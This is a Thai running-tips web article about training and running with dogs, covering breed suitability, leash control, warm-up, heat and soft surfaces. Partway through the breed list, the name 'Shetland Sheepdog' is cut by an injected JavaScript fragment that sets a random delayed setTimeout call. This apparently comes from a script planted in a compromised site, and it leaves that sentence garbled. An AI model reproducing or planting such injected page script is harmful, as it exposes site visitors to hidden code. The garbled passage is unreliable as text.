• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

ทิปง่ายๆ ที่จะช่วยให้คุณวิ่งกับน้องสี่ขาสนุกมากขึ้น

kan by kan
14 November 2019
in Running Tips
0
ทิปง่ายๆ ที่จะช่วยให้คุณวิ่งกับน้องสี่ขาสนุกมากขึ้น
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

คำถามที่มักจะถามกันบ่อยในหมู่นักวิ่งที่มีน้องหมา อยากจะวิ่งกับน้องหมาที่รักหรือมีน้องหมาเป็นเพื่อนวิ่งอยู่แล้ว อย่างเช่น ต้องอายุเท่าไหร่ถึงจะวิ่งได้ ต้องสังเกตน้องหมาอย่างไรว่าเขาเหนื่อย ร่างกายมีอุณหภูมิสูงต้องหยุด เหนื่อยหมดแรงไม่ไหว พันธุ์นี้เหมาะกับการวิ่งหรือไม่และจะป้องกันเท้าเขาได้อย่างไร

ทิปง่ายๆ ที่จะช่วยให้คุณวิ่งกับน้องสี่ขาสนุกมากขึ้น

1. การเตรียมพร้อมคือกุญแจสำคัญ ระบบกระดูกของสุนัขทั่วไปจะพัฒนาเต็มที่เมื่อมีอายุครบ 1 ปี นั้นคือเวลาที่แนะนำให้สามารถออกวิ่งได้ และเหมือนกับมนุษย์ การจะวิ่งระยะไกลได้จำเป็นต้องมีการฝึกซ้อม ในปีแรกๆ แนะนำให้ฝึกการเดินและวิ่งข้างกายเจ้านาย เดินและสลับการวิ่งประมาณ 100-200 เมตร เป็นระยะๆ ในช่วงแรกๆ หลังจากนั้นก็ค่อยๆ พัฒนาการฝึกค่อยๆ เพิ่มระยะวิ่งขึ้นและเดินลดลง

สายพันธุ์ใหญ่จะเป็นเพื่อนนักวิ่งได้ดี อย่างเช่น สายพันธุ์วิซสลา (Vizsla) หรือพันธุ์ดัลเมเชี่ยน (Dalmatian) จะเป็นนักวิ่งแต่โดยกำเนิด นำออกวิ่งและฝึกได้ง่าย แต่สำหรับสายพันธุ์ปั๊ก (Pug) และบูลล์ด็อก (Bulldog) จะไม่เหมาะเพราะมีปัญหาเกี่ยวกับระบบการหายใจ ส่วนสายพันธุ์เล็กทีเป็นเพื่อนนักวิ่งได้ก็อย่างเช่น พันธุ์เทอร์เรีย (Terriers) เชทแลนด์ ชีพด็อก (Shetlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Sheepdog) และชิวาวา (Chihuahua)    

2. ฝึกควบคุมสุนัขก่อนออกสนามใหญ่ เพราะการออกไปวิ่งบนท้องถนนไม่ได้มีคุณคนเดียว แต่มีเพื่อนนักวิ่ง มีรถยนต์ มอไซด์และจักรยานวิ่งสวนไปมา น้องหมาจะอยู่ในสภาพสิ่งแวดล้อมที่มีการกระตุ้นมาก เจ้าของต้องมีความรับผิดชอบมากขึ้น ดังนั้นในช่วงฝึกเบื้องต้นให้เชื่อง ฝึกให้เชื่อฟังคำสั่งและการคุ้นชินกับสภาพแวดล้อม อาจจะต้องมีอุปกรณ์เสริมอย่างที่รัดคอและสายชักจูง เป็นต้น การพาออกเดินในช่วงแรกๆ เพื่อให้ชินกับสภาพเส้นทางและผู้คน สภาพสิ่งแวดล้อมที่ต้องเจอขณะออกวิ่ง จากนั้นก็ค่อยๆ เดินสลับวิ่ง การฝึกจะใช้เวลาแน่นอน จะมากหรือน้อยก็ขึ้นอยู่กับสายพันธุ์และการฝึก จนเมื่อปรับสภาพได้ก็ค่อยให้น้องหมาวิ่งตัวเปล่าเคียงข้างเรา  

3. ฝึกวอร์มอัพก่อนออกวิ่ง การวอร์มอัพน้องหมาอาจจะไม่ใช่การฝึกแบบนักวิ่ง แต่เป็นกรทำกิจกรรมอะไรสักอย่างที่เป็นรูทีน เพื่อให้น้องหมาลดความตื่นเต้นลง อาจจะเป็นการผูกเชือกชักจูงแล้วพาเดินรอบบ้านสักสามรอบก่อนออกถนนใหญ่ก็ได้ แนะนำสายจูงยาวประมาณ 2-3 เมตร เพื่อให้น้องมีอิสระในการเคลื่อนไหวที่มากขึ้น

4. วิ่งกับน้องหมาจงมีสมาธิเพิ่มมากขึ้น จงเป็นนักสังเกตให้มากกว่าเดิม เพราะน้องหมาจะถูกกระตุ้นด้วยสิ่งแวดล้อมรอบตัว ไม่ว่าจะเป็นคนที่เดินผ่านไปมา ผู้ใหญ่และเด็กเล็ก คนปั่นจักรยาน นักวิ่งด้วยกัน และที่สำคัญคือเหล่าสุนัขที่อยู่ข้างนอกด้วย จงระวังและสังเกตุพฤติกรรมน้องหมาให้ดี เจ้าของต้อง take action เพื่อควบคุมน้องหมาก่อนเสมอเมื่อเห็นว่าเหตุการณ์จะไม่ดีแน่ๆ

5. เช็คดูอุณหภูมิ การวิ่งกับสุนัขจะเหมาะมากถ้าวิ่งในช่วงอุณหภูมิต่ำ ประมาณ -10 – 15 องศา แต่คงไม่ได้แน่ๆ ในเมืองไทย ถ้าจะวิ่งในเมืองร้อนจงมองหาร่มเงาให้น้องหมา การวิ่งในสวนสาธารณะ เป็นต้น อย่าวิ่งในสภาพแดดออก น้องหมาจะระบายอาการร้อนได้ช้ามาก เพราะน้องไม่มีต่อมระบายเหงื่อเหมือนมนุษย์  

สังเกตอาการเหนื่อยให้ดี อย่าง ไม่ยอมวิ่ง หายใจถี่และมีเสียง น้ำลายไหลยืดยาว ต้องหยุดวิ่งและควรให้น้ำ

6. วิ่งพื้นถนนที่นิ่ม อย่างเช่นพื้นหญ้า พื้นทรายตามชายหาด พื้นถนนลูกรังที่ไม่แข็งเกินไป และระวังพื้นถนนแข็งๆ โดยเฉพาะพื้นลาดยางจะทำให้ฝ่าเท้าน้องหมาถลอกได้ง่าย  

สำหรับใครที่พาน้องหมาออกวิ่งสัก 2-3 ครั้งต่ออาทิตย์ ก็ไม่จำเป็นต้องให้อาหารเพิ่มเติม แต่ถ้าสังเกตแล้วมีอาการหิวและน้ำหนักลดลง ก็ควรเพิ่มอาหารเข้าไป นอกจากนี้น้องหมาก็มีอาการปวดเมื่อยกล้ามเนื้อได้เหมือนกัน (DOMS) สังเกตการเคลื่อนไหวดูก็บอกได้ว่าคล้ายๆ กับเรานั้นแหละครับ

อ้างอิง www.runtastic.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    0 shares
    Share 0 Tweet 0
  • เกร็ดความรู้กับล้อจักรยาน

    0 shares
    Share 0 Tweet 0
  • หนึ่งวันก่อนวันวิ่งแข่งขัน เราควรซ้อมวิ่งหรือไม่วิ่งซ้อมวิ่งดี!!?

    0 shares
    Share 0 Tweet 0
  • มือใหม่อยาก วิ่ง 10 กิโล ต้องเริ่มอย่างไรและเรียนรู้อะไรบ้าง

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.